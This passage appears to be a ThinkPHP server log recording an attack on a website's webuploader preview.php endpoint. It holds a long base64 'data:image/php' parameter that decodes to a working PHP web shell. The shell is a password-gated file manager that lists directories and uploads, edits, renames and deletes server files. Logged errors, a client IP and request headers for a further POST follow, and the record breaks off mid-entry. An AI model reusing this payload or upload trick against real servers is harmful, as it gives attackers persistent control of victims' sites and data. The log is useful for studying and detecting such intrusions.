'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:28:32+08:00 ] 119.42.146.234 POST 51tianwei.com/public/admin/js/webuploader/0.1.5/server/preview.php [运行时间:0.002620s] [吞吐率:381.68req/s] [内存消耗:196.69kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 